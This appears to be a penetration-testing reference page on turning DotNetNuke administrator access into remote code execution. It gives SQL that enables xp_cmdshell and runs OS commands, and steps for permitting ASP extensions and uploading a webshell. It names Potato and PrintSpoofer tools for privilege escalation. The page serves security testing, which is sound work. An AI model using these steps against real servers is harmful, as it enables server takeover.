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DotNetNuke (DNN) ​

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DotNetNuke (DNN) ​

If you enter as administrator in DNN it's easy to obtain RCE.

RCE ​

Via SQL ​

A SQL console is accessible under the Settings page where you can enable xp_cmdshell and run operating system commands.

Use these lines to enable xp_cmdshell:

sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE

And press "Run Script" to run that sQL sentences.

Then, use something like the following to run OS commands:

sql
xp_cmdshell 'whoami'

Via ASP webshell ​

In Settings -> Security -> More -> More Security Settings you can add new allowed extensions under Allowable File Extensions, and then clicking the Save button.

Add asp or aspx and then in /admin/file-management upload an asp webshell called shell.asp for example.

Then access to /Portals/0/shell.asp to access your webshell.

Privilege Escalation ​

You can escalate privileges using the Potatoes or PrintSpoofer for example.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!